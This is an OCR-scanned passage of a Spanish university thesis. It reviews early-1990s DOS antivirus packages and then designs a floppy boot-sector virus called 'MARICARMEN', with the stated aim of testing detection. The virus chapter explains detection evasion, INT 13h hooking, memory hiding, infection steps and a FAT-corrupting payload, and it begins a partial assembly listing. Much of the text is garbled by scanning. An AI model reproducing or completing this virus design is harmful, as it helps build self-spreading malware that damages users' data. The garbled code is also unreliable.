muy semejantes, pero de caracterlsticas distintas. El poder contar con software 

antiviral especializado es, en términos generales. una buena medida de seguridad, 

siempre y cuando no se les deje a ellos toda la responsabilidad y se les utilice 

como una herramienta que ayude a un plan de seguridad Integral. 

A continuación se presentará un análisis de los principales paquetes antivirus 

existentes en el mercado, observando algunas de sus caracterlsticas de trabajo. 

Nombre Descripción 

Central Este programa comprende una variedad de técnicas 

Polnt Anti· para la detección de virus y opera en segundo plano 

Vlrue. para alertar sobre cualquier actividad sospechosa que 

pueda Indicar la existencia de un virus. El programa 

busca infecciones en los discos duros y en la mayor 

parte de los casos elimina los virus y repara los daños. 

CPAV está activado por menús, es fácil de instalar, y 

se. opera adecuadamente desde el teclado. La 

lnstalat:ión del prog'rama crea un directorfo ePAV, 

copia los archivos de programa y modifica el 

CONFIG.SYS o el AUTOEXEC.BAT para que cargue 

automáticamente uno de los dos supervisores 

residentes en memoria, VSAFE o VWATCH, y llama a 

BOOTSAFE, un servicio que persigue a los virus en el 

sector de arranque del sistema, la tabla de particiones 

y la tabla de asignación de archivos. Si no se quiere 

correr el VSAFE de 24K en segundo plano, puede 
hacer una Instalación manual y corre al CPAV como 

una aplicación o bien Instalar el VWATCH de BK 
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Nombre Descrloclón 

VSAFE detiene las funciones del teclado cuando 
detecta alguna actividad sospechosa, tal como 

formatos extraños de disco o cambios en los archivos 

ejecutables, y espera a que vuelva a arrancar, 

continúe, o cancele; VWATCH detiene al sistema 

cuando detecta un comportamiento extraño. Si puede 

pagar el costo en memoria. notará que la operación de 

VSAFE es menos molesta. 
Cuando se instala, CPAV revisa la memoria del sistema 

y archivos buscando virus y también revisa la tabla de 

locación de archivos y el sector de carga del disco 

duro. El programa revisa, en promedio, 20 archivos por 

segundo y hace sonar una alarma cuando encuenlra 

un virus, mostrando una caja de diálogo con 

sugerencias en las que se recomienda que el CPAV 

elimine al virus del archivo o área infectada de su disco 

duro y que rearranque el sistema (reset), para 
asegurarse que el virus ha sido eliminado de la 

memona. 

Cuando se instala CPAV crea un disco de emergencia 

el cual es un disco bootable en el cual se copia una 

imagen de los sectores claves del disco duro, así 

como una de la CMOS, todo estos junto con una copia 

de su servicio exclusivo BOOTSAFE (para proteger el 

sector dg arranque del disco). Si algún disco destruye 

su disco duro o la batería del CMOS se gasta, puede 

usarse este disco de emergencia para rearrancar 

desde el drive A: y posteriormente reinstaurar la 

inlormación. 

CPAV protege a los archivos creando y almacenando 

las sumas de verificación de cada uno de ellos y alerta 

sobre cualquier cambio. Puede actualizar estas sumas 

si se le indica que algún archivo debe ser cambiado. 
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Nombre Doscrloclón 

Una vez asegurada la limpieza del sistema, el CPAV 

vacuna a los archivos contra infección viral. Esto 

Implica añadir poco menos de 1 K de código de 
protección a los archivos con extensión .EXE, .COM, 

.SYS y .OVL. Una vez vacunado un archivo, éste le 

notificará cuando experimente un cambio y puede 

curarse a sf mismo, volviendo a su estado original. 

Después de la inmunización, algunos programas 

retornan un mensaje de error: "Packed file is corrupt' 

(el archivo comprimido está corrompido) cuando se 

corren, por esto CPAV notifica por adelantado que 

algunos archivos no deben vacunarse. 

El CPAV es acompañado por una excelente 

documentación que explica las funciones de los virus 

presentando sus orígenes y síntomas. 

La versión 1.1 de CPAV añade archivos para el manejo 

de la memoria extendida y expandida. VSAFE y 
VWATCH. 

Ccrtus. La vor5lón 2.1 da Cartus ofrece muchos niveles de 

seguridad, permitiendo repetir una instalación y 

copiarla con facilidad a otras PCs. Para los usuarios 

individuales que quieran un programa más básico que 

pueda reparar archivos, Certus vende un programa 

para detección y eliminación de virus llamado Novi. 

El detector de virus residente en memoria se carga en 

3K de RAM, y puede buscar más de 300 códigos de 

virus Individuales en memoria alta y también en RAM 

convencional. 
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Nombre Descripción 

Durante la instalación, Certus busca infecciones, pero 

la cura pueda ser tan mortífera como el virus si no se 

hizo un resguardo y un catélogo de sus programas. 

Certus "mata" al archivo infectado o a la sección del 

disco duro en la que reside el virus, a menos que 

ignore su advertencia o añada el archivo infectado a 

una lista "aprobada" de programas. El Novi elimina los 

virus y repara los archivos infectados, algo más 

semejante a la microcirugía que a la amputación. 

Certus le da a una PC una armadura de software tan 

gruesa tal que los usuarios no pueden borrar los 

archivos o formatear los discos duros por accidente. 

Mediante el uso de contraseñas un administrador de 

sistemas puede asignarle un nivel de acceso distinto a 

la PC de cada usuario. En el nivel de más restricción, 

Certus no correrá software nuevo o que se haya 

modificado. 

El programa mantiene un registro de actividad y una 

lista de auditoría de las escrituras a disco que puedan 

ser útiles para evaluar el uso del software. El programa 

le sigue la pista a las actividades sospechosas y hace 

un diagnóstico de los problemas de disco duro. 

Certus también lo protege contra accidentes y 

fechorías, tales como las baterías de CMOS gastadas y 

los novatos que entran en un directorio 'de servicios y 

prueban herramientas con las que no están 

familiarizados. El procedimiento de instalación crea un 

disco de emergencia que es bootable y que en caso 

de un ataque viral debe arrancarse el sistema con este 

disco en el drive A:, con lo que se reinstaura la 

configuración de CMOS, la tabla de partición y los 

archivos de configuración del disco duro. 
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Nombre 

Mace 
Vacclne. 

Descripción 

Mace Vaccine no reconoce a ningún virus por su 

nombre. Una vez que se Instala, detecta si un virus o 

un seudo virus ha infectado un programa y cambiado 

su tamaño. También protege los sectores criticas, los 

archivos de sistema, COMMAND.COM y los intentos 

de escritura que no se realicen a través del DOS. 

El programa tiene dos componentes: Survey 

(Explorador) y Vaccine (Vacuna). Vaccine es un TSRde 

6K que trabaja en tres niveles. Para trabajar en el tercer 

nivel necesita al Survey, que crea un archivo maestro 

realizando el cálculo de una suma de verificación CRC 

de todos los archivos ejecutables en el disco 

seleccionado, basado en su tamaño. Luego Mace 

Vaccine examinará la caracterización de cada 

programa antes de ejecutarlo. Si hay un cambio en el 

programa lo notificará. 

Mace Vaccine no es una vacuna, sino mós bien un 

archivo de comparación, teniendo un potencial 

genérico de supervisión. 

The Norton El Norton AntiVirus, está cargado de opciones para 

AntlVlrus. detectar, identificar y reparar los daños que resuttan de 

la actividad de un virus. Uno de sus puntos fuertes es 

su habilidad para añadir campos de definición a su 

base de datos sobre virus. 

El Norton AntiVirus, versión 2, tiene dos componentes 

Interactivos: el Interceptor de Virus, (Virus lntercept) 

que es un TSR, y la Cllnica de Virus (Virus Clinic). 

Cuando se configuran el TSR y el módulo da detección 

para máxima protección, se paga el precio en el costo 

de memoria: dado a los distintos niveles de protección, 

es posible que se dedique tan solo 1 K de RAM a la 

supervisión de los virus en un primer nivel, 1 SK en un 

segundo y 32K para el nivel máximo. 
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Nombre Descrloclón 

El Norton AntiVirus usa el método llamado "suma de 

verificación inteligente". Cuando se carga el TSR 

automáticamente en el arranque, presenta una caja de 

alerta, con sirena, cuando entra en contacto con un 

archivo ejecutable no protegido. de sistema, 
manejador o de protección. En este caso presenta tres 

opciones: seguir con el acceso al archivo, vacunar el 

archivo o det9ner el acceso. Cuando se vacuna un 

archivo, se crea un archivo de prueba oculto de 77 

bytes. 
También se activa la alarma cuando se detecta un 

archivo Infectado o potencialmente infectado. Si la 

infección es por una variedad conocida de virus se 

nombra al mismo, en caso contrario se marca como 

desconocido y se da opción da seguir o cancelar el 

acceso. 
Después de la detección, llama a la Clínica de Virus 

para efectuar una revisión completa, con al fin de 

reparar o eliminar cualquier archivo infectado. 

Una vez que se hayan creado los archivos de suma de 

verifiación inteligente para todos los programas, se 

puede desactivar la opción de suma de verificación 

automática. 

Vacclno. Ataca a los virus con servicios que, por separado, 

revisan, supervisan, analizan las imágenes de los 

discos, imponen restricciones de escritura a los discos 

y protegerán los valores del CMOS. 

La operación del programa se maneja desde la línea 

de comando o desde archivos de comandos a los que 

se les añade parámetros de opción. 
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Nombre Doscrlpclón 

Tres servicios forman la primera lfnea de defensa: el 

supervisor TSR Vacuna (Vaccine), el detector de virus 

Examen (physical). y el creador de archivos de suams 

de verificación Verificador (check-up). El TSR Vacuna 

vigila las interrupciones de DOS y advierte sobre 

actividad de un virus en el curso do todas las 

peticiones de interrupción de lectura o escritura. 

Una parte esencial del potencial de supervisión de 
Vaccine, es el archivo ASCII editable de programas 

autorizados (APF), un listado de todos los programas 

seguros, que se lee hacia la memoria cuando se llama 

elTSR. 

El servicio de detección, Examen, es más agresivo en 

cuanto a la protección de los archivos ejecutables y 

brinda mas información sobre la naturaleza de la 

actividad del virus. Refiriéndose a una lista de virus 

conocidos, puede nombrar al virus sospechoso y 
eliminar los archivos Infectados. 

El análisis de los cambios del sistema lo hace el 

servicio Verificador. Esta registra las sumas de 

verificación codificadas para todos los archivos de 

programas esenciales o cualquier archivo que se 

defina por parámetros y mantiene un registro de los 

archivos alterados o borrados. El servicio Rayos X 

(xray) ofrece respaldo y restauración del contenido del 

CMOS, y el servicio Refugio (shelter) impide todos Jos 

Intentos de escritura hacia cualquier disco al que se 

pueda tener acceso. 
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Nombre Descripción 

Vlruscan Es un programa que se activa desde la línea de 

comando y no cuenta con menús o pantallas de 

programa. El programa se orienta hacia los usuarios 

corporativos de Administración de Sistemas de 

Información- Viruscan es un grupo de tres programas: 

VSHIELD, Viruscan y Clean-Up, que detectan, eliminan 

y previenen el ataque de 781 virus. 

El VSHIELD, que reside en memoria, previene las 

infecciones buscando las '1irmas" de Jos virus en la 

memoria, el sector de arranque, la tabla de particiones 

y los archivos. También puede correr una verificación 

de CRC y evitar que el sistema utilice un archivo que 

no se haya reconocido. El programa u1iliza un total de 

34Kde RAM. 

Virus Este paquete puede verificar los discos flexibles y 
Secure for ocasionalmente los discos duros. Su estratégia para la 

Wlndows prevención y eliminación de virus es conservadora, ol 

método primario para eliminar un virus es eliminar el 

archivo infectado para evitar la propagación del daño, 

presentando también una opción para res1aurar los 

sectores de arranque dañados. 

El programa usa un archivo de control para supervisar 

el tamaño, atributo, hora y fecha de creación de los 

archivos en el disco duro y Jos discos flexibles. Un 

detector de virus verifica la existencia da "firmas" que 

indican la presencia de un virus. El programa realiza 

revisiones parciales o totales y comparaciones con 

archivos de control por disco lógico, directorios o por 

archivo. También verifica la memoria convencional, 

pero sólo cuando Windows corre en modo real. 

Virus Secura actualiza automáticamente su registro de 

control y mantiene una lista de archivos exclufdos. 
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4 

DESARROLLO DE UN NUEVO VIRUS 

Los motivos por los que un programador decide crear un virus Informático 

se describen en la sección 1.3.1. 

En este caso en particular, el principal motivo es el de probar a los sistemas 

de protección, a fin de evaluar su capacidad en detectar y contener ataques do 
virus no clasificados. 

Para fines de ser más preciso en la evaluación de los sistemas de 

detección, se diseña una estructura con lodos los módulos de un virus, con los 

cuales se hacen combinaciones para obtener cuatro virus, uno de cada tipo. El 

virus listado en la sección 4.3, es el virus de tipo "Portado~· (efectúa el proceso de 

Infección, pero no ocasiona ningún daño). 

El desarrollo del virus se basa por completo en los aspectos teóricos 

explicados en el capítulo 2, y la filosofía de programación se basa en los 

conceptos presentados en el capítulo 1. 

4.1 Introducción. 

El punto Inicial para el desarrollo de un nuevo virus es el de seleccionar que 

tipo de virus se quiere crear, es decir, que características tendrá. 

Recordando los distintos tipos de virus, considere lo siguiente: 

"Benignos• 
"Caballo de Troya• 
"Portadores• 
"Vlrulentoa• 

-No se reproducen y no ocasionan dallos. 

-No se reproducen pero ocasionan dallo. 

-Se reproducen pero no ocasionan dallo. 

-Se reproducen y además ocasionan algún dallo. 



Recordando que un virus se compone de módulos, tales como: 

• módulo de instalación 
• módulo de reproducción 

• módulo de daño 

entonces podemos desarrollar rutinas específicas para cada módulo de un virus, y 

combinándolas, se puede tener un virus de cada tipo con la misma base 

estruc1ural. 
Por ejemplo, un virus constituido por un módulo de instalación y que 

efec1úe cada cierto tiempo una rutina vistosa en Ja pantalla puede considerarse un 

virus benigno, ya que no contiene el módulo de reproducción o el de daño. Si a 

este virus se le agrega el módulo de daño, entonces será del tipo "Caballo de 

Troya", pero si en cambio se le agrega el módulo de reproducción, entonces será 

del tipo "Portador". Si se le agregan ambos módulos será del peor tipo: "Virulento". 

As!, se decide desarrollar un virus con las siguientes características de base 
estruc1ural: 

• Infección del sector de carga de los discos. 

• Se establezca como residente en memoria. 

• Intercepto la interrupción 13h (acceso al manejo de los drives por el BIOS). 

Con estas características de base, se analiza la función de cada uno de los 

módulos: 

Módulo de Instalación. 

Este es el módulo más complicado a desarrollar. Tomada la decisión de 

infectar al sector de carga, el principal punto a cuidar es el hecho de evitar ser 

detec1ado. 

Sobreescribir completamente al virus en el sec1or cero es la manera más 

sencilla de efec1uar Ja infección, pero no es Ja mejor. 

Su detección por un paquete antivirus se puede evitar con relativa facilidad, 

dado que ellos se basan en el reconocimiento de firmas y dado que no 

cuentan con Ja firma del nuevo virus, entonces, seguramente, no Jo 
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reconocerían. Pero algunos paquetes como el Norton Disk Doctor 

reconocerfan que el sector cero esta modificado y podrían repararlo, con lo 

que borrarla al virus. 

Para evitar esto, se decide sobreescribir solamente parte del virus en el sector 

de carga: 24 bytes que forman una rutina destinada a copiar al virus -que se 

encuentra en el sector 11 del disco- en la parte alta de la memoria, 

transfiriéndole el control del procesador para que éste continúe con el proceso 

de instalación. Los 24 bytes que se reemplacen se almacenarán en un área 

específica junto con el resto del virus en un sector del Root Directory (sector 

11). 

Una vez transferido el control a la parte del virus cargada en la memoria alta, 

ésta ejecuta la intercepción de la interrupción, transfiriendo el vector de la 

Interrupción 13h a la dirección de la interrupción 6Dh y después estableciendo 

la dirección de la parte activa del virus en lugar del vector 13h. Esto provoca 

que cada vez que sea utilizada la interrupción 13h, se ejecute primero el código 

del programa virus. 

Para evitar que el virus sea borrado o sobrescrito por algún otro programa, se 

protege restando 2 Kb de la parte alta de la memoria, dejando el lfmlte 

direccionable de 9F80:0000h para los demás programas. 

Por último, restablece los 24 bytes del sector de carga original y le transfiere el 

control, con lo que se carga el sistema operativo de manera normal, pero el 

virus ya se ha establecido en la RAM. 

Módulo de Infección. 

La reproducción es la característica más peculiar de los virus informáticos. Para 

el virus desarrollado el proceso de infección es el siguiente: 

- Lee el sector de carga al área de trabajo. 

- Cada vez que se pide un acceso a un disco en la unidad A, se verifica si el 

disco ya esta infectado. De estarlo ejecuta la Interrupción 13h (6Dh), de 

manera normal. Si el disco no está infectado continúa con el proceso de 
infección. 

- Guarda los primeros 24 bytes del programa de carga en un área especffica 

de datos, dentro del virus. 
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• Remplaza los primeros 24 bytes del virus por los del programa de carga 

original. 

- Copla el virus en el sector 11 del disco. 

- Copia el programa de carga modificado al sector cero del disco. 

Este módulo alentará los procesos de escr~ura y lectura del drive A, por lo que 

algunos usuarios experimentados podrán sospechar la existencia del virus, 

pero en términos generales. la mayoría no se percatará del retardo. 

Módulo do daño. 
El módulo de daño es el módulo más sencillo de crear, ya que se cuenta con 

muchos recursos, dentro del computador, para borrar o alterar información. 

Para el virus que se desarrolla se decide afectar solamente a los discos 

flexibles de 5 1/4 pulgadas. 

El daño que se les ocasiona es, cada vez qu& se accese a un disco en la 

unidad A, siendo día seis de cualquier mes, entre las 20:00 y 21 :00 hrs, se le 

marcarán tos 200 primeros clusters del disco como dañados.· 

SI algún archivo ocupaba uno o varios de estos cluster, no se podrá accesar a 

él, aunque el cluster esté en buen estado físico. 

Para ent&nder como efectúa esta proceso el programa, baste recordar qua an 

la FAT se lleva el control del espacio disponible en el disco, por lo tanto, 

solamente se lee el primer sector de la FAT en un área de trabajo, marcando 

los primeros 200 clusters con el código 'FFO', para que los reconozca como 

dañados y, posteriormente sobrescribir la FAT original con la que fue alterada 

en el área de trabajo. 

Este proceso puede efectuarse muy rápido, por lo q\Je el retardo en la 

interrupción no es muy "palpable", así que los usuarios no se darán cuenta de 

la infección de su computador. 

El desarrollo conceptual detallado de cada rutina del virus se describe en la 

siguiente sección. 
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4.2 Desarrollo en módulos. 

En la sección 4.1. se explica la concepción de los módulos del Wus desde 

el punto de vista teórico, en base a lo estudiado en los capltulos 1 y 2. 

En la presente sección, so explicará el desarrollo de los módulos en base a 

aspectos técnicos, detallando su funcionamiento real. 

Módulo de Instalación. 

Todo disco que esté formateado contiene un program~ de carga en el sector 

cero. Este programa de carga es el encargado de ejecutar al sistema operativo 

si el disco es botable, si no lo es, envía un mensaje indicando retirar el disco y 
remplazarlo por uno botable. El sector cero del disco se carga en la dirección 

0000:7COOh en la RAM, al prenderse la computadora. 

El primer byte del sector de carga es una instrucción de salto (JMP} y el 

segundo byte es el número de bytes que debe saltar para transferir el control 

al programa de carga. Es en la dirección donde comienza el programa de 

carga en donde se deben escribir los 24 primeros bytes del virus. Para obtener 

esta dirección, basta con sumar 2 al segundo byte del sector de carga. 

Los 24 bytes del virus que reemplazan a los del programa de carga original 

transfieren una copia del sector 11 del disco a la parto nlta de l:i memoria, en la 

dirección 9FAO:OOOOh. 

Esta dirección se escogió por la siguiente razón: el espacio físico direccionable 

para una memoria base de 640 Kb va desde OOOO:OOOOh hasta AOOO:OOOOh. 

Para proteger al virus en memoria se debe instalar en la parte alta de la misma 

y reducir ef espacio direccionable en RAM. 

El espacio direccionable se reduce restándole 2Kb a la memoria disponible, 

con lo que la dirección más alta a la que puede accesar el sistema operativo y 

los demás programas es la dirección 9FBO:OOOOh (flg. 4-1). 
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(91( ESPACIO "<OPUEO[ S(l'l Uf1l1ZAOO 
POAOTAO!I PflOGR.IW.S O ELBIOTEMA 

OPf:RAllVO 

VF800H --tl*-----------1 
Parte fHld•nf• dtJ DOS 

Are.a de T1abaJo 
(p1ogrema1 dt u1ua1lo y dalo•} 

Pul• ruident• del DOS 

ArH de dato1 pa11 la ROM BIOS y BASIC 
OOOOOH---t11M-----------__, 

ArH dti dal-01 pera la ROM DIOS 
00400H---~----------_, 

VectorH de lnterrupcl6n 

OOOOOH--tl~----------~ 

RAM 

FIGURA C·1. Mapa de memori1 u.u.do detpuh de rMtar 2Kb a la 
memoria dl1ponibte en RAM. 

De esta manera el espacio comprendido entre las direcciones 9FBO:OOOOh y 

AOOO:OOOh no se afectará durante la seci6n de trabajo, por lo que este espacio 

se emplea de la siguiente manera: 

•Guardar al virus en la dirección 9FAO:OOOOh a 9FCO:OOOOh (512 bytes). 
• Mantener un área de trabajo en el espacio comprendido entre las 

direcciones 9FCO:OOOOh y 9FEO:OOOOh (512 bytes). 

Esto se representa en la fig 4-2. 
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9FEOOH --->i------------l 
AREA CE TRABAJO DEL VIRUS 

DFCOOH-...p..¡...-----------l 
VlRUS 

DFAOOH --l!:>i------------l 
DFBOOH _....,>i------------l 

Parte rHldent• del DOS 

ArHdoTrebt.jo 
(progr1mH de u1u11Jo y doto•) 

Parte tesidento dol DOS 

Afea do dalo• p.at• la ROM BIOS y BASIC 
OOOOOH _ _..,>i------------l 

ArH de datoa pua 11 ROM alOS 
OO<OOH---o..¡...-----------1 

Voetotea de Interrupción OOOOOH _ _..,....._ __________ -' 

_ 2Kb 

1138Kb 

FIGURA 4·2. M~ de memoria uudo dolpuli1 de ln1laluH el virus 

Una vez cargado el virus en la dirección 9FAO:OOOOh, se transfiere el control del 

procesador a esa dirección. El programa en RAM empieza con un salto- de 48 

bytes· a la rutina de instalación, dado que los bytes 3 a 26 es un área de datos 

en donde se guardan los 24 bytes del programa de carga original y los 

siguientes 24 bytes es el código que se remplaza por los primeros 24 bytes del 

programa de carga de los discos a infectar. 

La Instalación continúa restableciendo los 24 bytes originales del programa de 

carga que se encuentra en la dirección 0000:7COOh en la RAM, calculando 

primero el comienzo del programa sumando 7C02h al valor del byte en la 

dirección 0000:7C01 h. La transferencia se efectúa empleando la instrucción 

MOVSB, la cual mueve un byte de la dirección DS:SI a la dirección ES:DI. 

Estableciendo el valor de CX para 24 bytes se emplea la Instrucción REPZ que 

repite la operación MOVSB 24 veces, dado que cada vez que un byte es 
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transferido, el registro CX es decrementado y los registros SI y DI son 

Incrementados. 
Una vez restablecido el programa de carga, se continúa con la intercepción de 

la interrupción 13h. Los vectores de interrupción se establecen a partir de la 

dirección OOOO:OOOOh empleando 4 bytes por vector. Asl, la interrupción 13h 

(19 decimal) tiene su vector en la dirección: 

19 x 4 = 76 = 4Ch 

entonces se sabe que la parte baja de la dirección está en 0000:004Ch y la 

parte alta de la misma en 0000:004Eh, por lo que se leen tales direcciones y se 

transfiere el contenido en la dirección del vector de interrupción 60h (decimal 

109). La dirección del vector de la interrupción 60h se encuentre de la misma 

manera: 
109x4=436=184h 

asl que se transfiere el valor de la palabra en 0000:004Ch a la dirección 

0000:0184h y el valor de la palabra en 0000:004Eh a 0000:0186h. Esto 

equivale a direccionar ambas interrupciones (13h y 60h) a las rutinas del BIOS 

para manejo de drives (fig 4-3). 

EOOOClH --~--------~ 

FlGURA 4.). REORIEHTACION OEl YECTOR 1011 PAFIA QUE 
APUNTE HACIA lA RUTINA llh OEL BIOB. 
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Ahora se cambia el valor de Ja dirección en 0000:004Ch (vector 13h), por la 

dirección de la parte activa del virus, en la parte alta de Ja memoria (dirección 

9FA0:007Ch), de tai manera que la interrupción 13h apunta al virus (fig. 4-5). 

FIGURA4 .... REORIENTACION DEL VECTOR 1Jh PARA QUE 
APUNTE HACIA LA RUTINA ACTIVA DEL VIRUS, 

Por último se protege al virus en memoria para terminar con su Instalación. 

Como se menciona anteriormente, debe de restársela 2 Kb a la memoria 

disponible en RAM. 

En el espacio entre las direcciones 0000:0400h y 0000:0600h se localiza el área 

de datos del BIOS (fig. 4-1), y dentro de ésta, en la dirección 0000:0413h se 

registra la cantidad de mamona disponible en Kb, por lo que basta restarle 2 

Kb al valor contenido en esta dirección para que la dirección máxima 

disponible para el DOS y demás programas sea 9F80:0000h, no pudiendo 

utilizar el espacio que está después de esta dirección. 
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Una vez concluido todo esto se transfiere el control a la dirección 0000:7COOh 

que es en donde se carga de manera normal al sistema operativo, pero el virus 

ya quedó instalado en la memoria. 
El diagrama de flujo para este módulo se presenta a continuación, en la figura 

4-5. 

Módulo activo. 

HQIJRA4!1 
[)ll3RAMA0EflUJO 

DEL M6Dul.OOE 
INS1 ... LA.CIOH 

La interrupción 13h (que es interceptada por el virus), emplea servicios 

importantes para la lectura y escritura de los discos. Esta interrupción es 

utilizada por muchos programas, incluyendo instrucciones del sistema 

operativo como DIR, COPY, DEL. 
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Debido a esto, cada vez que se utilice esta Interrupción el virus tiene 

oportunidad de checar si se quiere efectuar un Intento de lectura o escrttura a 

un disco, esto tan sólo con comparar el valor del registro AH: 

AH = 02h - lectura. 

AH = 03h - escritura. 

EL valor del registro DL indica a que drive se quiere accesar siendo O para el 
drive A, 1 para el drive 8 y 80h para el disco duro. 

SI el virus comprueba que no es un Intento de lectura o escrttura o que no se 

quiere accesar al drive A, ejecuta la Interrupción 13h (6Dh) de manera normal. 

En caso contrario, el virus utiliza la interrupción !Ah función 04h para obtener la 

fecha del sistema. Al ejecutarse la interrupción, el día de la fecha se pone en el 

registro DL, por lo que se compara con el valor 06h para saber si es el sexto 

día del mes. Si no es el sexto día del mes, entonces llama al módulo de 

Infección. 

Si es el sexto día del mes, utiliza nuevamente la interrupción 1 Ah pero en esta 

ocasión con la función 02h para obtener la hora del sistema. La hora se 

establece en el registro CH, por lo que se compara con el valor 20h para saber 

si es una hora entre las 20:00 y 21 :00 hrs. Si no se cumple esto se llama al 

módulo de infección, pero si se cumple estar trabajando el día 6 del mes, entre 

las B y 9 de la noche entonces se llama al módulo de daño. 

El diagrama de flujo para este módulo se presenta en la figura 4-6. 

Módulo de daño. 

En este virus, el daño explicado en la sección 4.1, de marcar 200 cluster como 

dañados es sustituido por una rutina que presenta un remolino de caracteres 

en la pantalla. El cambio del efecto de este módulo es para evttar que se 

experimente con rutinas destructivas. 

El efecto de remolino es muy simple, configurándose esta rutina para 

monitores a color, en donde se define un área en la parte central del monitor 

con cuyos caracteres se mueven para dar un efecto de remolino, como si el 

monttor se ·~ragara" las letras en la parte central de la pantalla. 
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flOLPA 4-e. CXAORAMA ce FlUJO PARA 
EL MCX>U..O ACTIVO 
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Lo primero que se establece es el valor inicial de los contaderos de caracteres 

a mover • registro ox. repetición del efecto • registro ex, y la dirección del 

buffer de video que, para los monitores a color, es la dirección BBOO:OOOOh. 

Cada palabra (doble byte), en esta dirección corresponden al caracter y 

atributo de color desplegado, por lo que el centro de la pantalla se establece 

en la dirección 1998 decimal, como se muestra en la figura 4-7. 

'" "., 
i> ----• --

/ .. / 

~ 
/ 

/ 

I 
tll06¡o7CEll)·CEN'TR00El.AP.lt.Kl.tJ..LA 

FIGURA 4-7. DIRECCIONES OEl BUFFER OE VlOEO PARA UN MONITOR 
A COLOR {60 CARACTERES X 25 LINEAS). 

A partir de este punto se comienza por mover el caracter ubicado a la izquierda 

al punto central. Después se mueve el caracter inferior al caracter movido a la 

posición del caracter que se movió, después se mueven los caracteres hacia la 

derecha y por último hacia abajo. Esto puede entenderse mejor, observando la 

figura 4-8, considerando el cuadro marcado con una X como punto central. 
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~..- ,__ 
j 

1 X "" A 
l_,_, J 1 

FIGURA oi-8. MOVIMIENTO CE CARACTERES PARA El EFECTO DE 
PAi/TALLA EFECTUADO POR EL VIRUS. 

Como puede apreciarse, cada vez que se efectúe un movimiento de caracteres 
hacia la izquierda o hacia la derecha se debe incrementar el conta':lor de 

caracteres a mover (DX) y cuando se efectúe un movimiento total de 

caracteres se incrementa el contador de repeticiones (CX). Una vez que se 

efectúe el movimiento de 24 caracteres (máximo vertical), se ejecuta una rutina 

de retardo, ya que este proceso es tan rápido que de no emplearse este 

retardo, no se observarla nada en la pantalla. 

El efecto termina hasta que el caracter más lejano (en secuencia espiral) af 

punto central desaparezca y una vez que esto pase, se ejecuta la interrupción 

13h (6Dh) de manera normal. 

Módulo de Infección. 
En el desarrollo de este virus no se agrega una rutina para infección de disco 

duro, para evitar problemas de propagación masiva, en caso de utilizarse el 

programa. Una rutina de infección del disco duro puede ser desarrollada de 

manera muy similar a la de un disco flexible. 

La infección o reproducción consiste simplemente en copiar al virus al sector 

11 de un disco "sano" y modificar su sector de carga cambiando 24 bytes del 

programa de carga original por el inicio del código virus. 
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Para esto, primero se lee el sector de carga del disco "sano• en el área de 

trabajo en la dirección física 9FCOOh. Una vez esto, el virus comprueba si no 

estaba infectado previamente, comparando los 24 bytes del código de carga 

con los 24 primeros bytes del código virus. Si el disco ya está contagiado, 

retorna al módulo activo y ejecuta la rutina de interrupción 13h (6Dh) de 

manera normal. 

SI el disco no está contagiado, ontonces sustituye los primeros 24 bytes del 
programa de carga original por los primeros 24 bytes del código viral y escribe 

este sector ya modificado en el sector cero, transladando además el virus, que 

está en la parte alta de la memoria, en el sector 11 del disco (fig 4-9). 

lilfEOOH -..P+----------1--C>+------j 
SECTOR CE CARGA INFECTADO 

DFCOOH _ _.,4----------1::-'"t-------¡ 
VIRUS 1"""-. 

lilFAOOH --li0+---------1...1 1'"'1-------1 1-....... ______ __, 
9F800H --P+---------1 

OOOOOH~;o,.._--------~ 

FIGURA 4·1il.INFECCION DE Lf.I DISCO FLEXIBLE 

De esta manera, ahora el disco está infectado por el virus y es capaz de 

efectuar todas las !unciones aquí descritas y de propagarse a otras 

computadoras. 

El diagrama de flujo para este módulo se presenta en la figura 4-10. 
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Fl0~4-10 
DtAORAMA 0E FLUJO PAPA 
El MCXX..lO OE tNFECOO(, 



4.3 Listado del programa. 

El listado presentado a continuación no es el del virus propiamente, sino de 

un programa que al ejecutarse produce un disco contaminado con el virus. El 

listado del virus se encuentra dentro de este programa, el cual empieza con la 

etiqueta ''VIRUS", y termina con Ja instrucción anterior a Ja etiqueta "$". 

CODSEO 

INICIO: 

UNIVERSIDAD NACIONAL AUTONOMA DE MEXICO 
E.N.E.P. ARAGON 

VIRUS 'fMRICARMEN' 

SEOMENT 
ASSUl.IE CS:CODSEG, os:coosea 
ORO 100h 
JMP INSTALA ;SALTA A LA RUTINA DE INSTALACION 

~-;-;;;······;"···-···;;;~~;-;,••-*••······-~~~-~~~;;:;;;;:;~;;···-··; 
:CAMBIAR EL SECTOR O DEL DISCO 

RUTINA DE CONTAMINACIOH AL DISCO A 

; ESTA RUTINA LEE EL SECTOR CERO DE El DISCO SANO Y LO GUARDA EN 
; EL AREA DE TRABAJO "'SECTOR' ;-···············-----·· .... ·····--······· .. ········ .............. - .......... _ 
INSTALA! MCN AX.CS ;SEGMENTO EN '4:1. 

MOV OS.AX ¡OS PUNTO DE DATOS 
MOV ES.AX ;ES r. CS 
XOR AX.AX ;ORNE A 
MOV CX, 1 ;LEER 1 SECTOR 
MOV DX,O ;SECTOR DE CMKlA {SECTOR O) 
LEA BX,SECTOA ;DESPLAZAMIENTO DE BUFFER 
INT 25h ;LEER EL SECTOR 
POPF ;DESCARTAR LAS BANOEAAS DEL STACK 
JMP ;SAL TA A LA RUTINA OE INSTAlAC10N 

, ................. _ ...................................... _ ... __ 
CODIGO VIRUS 

~;~;--·~;tt••• .. •7~~;;~·:i~~;·•-••• .. ·-;;.~~;~·c~~ DE CATOS 

CAMBIO DB 24 OUP fñ ;ARE.A OOffüE SE G'JAROAN LOS PRIMERO 2<4 BITS DEL 
;PROGRAMA ;DE CARGA 
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LISTADO DEL VIRUS 'MARICARMEN' !CONTINUA) 

ESTA RUTINA CONSTA DE LOS 24 BVTI:s QUE SE 
SOOREE&CRIDEN EN El PROGRAMA DE CAAQA 

MOV AX,9FA0h 
MOV ES.AX 

MCN AX.0201h 
MOV CX,OQ0.3h 
fKN OX,OHX>h 
MOV BX,OOOOh 
INT 13h 

JMP OS OOOOh 
NOP 

ESTA RUTINA RESTABLECE LOS 24 DVTES AL 
PROORAl.IA DE CARGA ORIGINAL ........... -.. ......................... . 

INSTALA_VIRUI: 
XOR AX.AX 
MOV OS.AX 
MOV Sl,7C01h 

MOV AL.BYTE PTR (SIJ 
AOO AX.7C02h 

,SEGMENTO EN oo~mE SE COPIARA 
;AL VIRUS 

,LEER 1 SECTOR 
,CILINORO,SECTOR 
;CABEZA, ORNE 
,ES BX • BUFFER 
;LEER SECTOR 

